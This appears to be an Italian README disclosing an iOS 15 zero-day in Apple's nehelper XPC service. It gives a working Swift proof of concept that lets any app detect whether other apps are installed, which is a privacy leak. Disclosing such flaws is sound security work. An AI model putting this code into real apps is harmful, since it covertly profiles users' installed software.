
Exploit 0-day per iOS 15 (funziona ancora nella 15.0.2)
Ho aggiornato questo codice per evitare di usare direttamente le API private. Leggi di più nel mio post del blog. Tuttavia, questo significa che ora il codice è specifico per la versione di iOS e possibilmente specifico per il modello di dispositivo. Quindi se non funziona sul tuo dispositivo, ricalcola e aggiorna gli offset nel file c.c. Il codice originale si trova nel branch direct.
La vulnerabilità consente a qualsiasi app installata dall'utente di determinare se un'app è installata sul dispositivo, dato il suo bundle ID.
L'endpoint XPC "com.apple.nehelper" ha un metodo accessibile a qualsiasi app che accetta il bundle ID come parametro e restituisce un array contenente alcuni UUID della cache se l'app con il bundle ID corrispondente è installata sul dispositivo, oppure un array vuoto in caso contrario.
Questo avviene in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}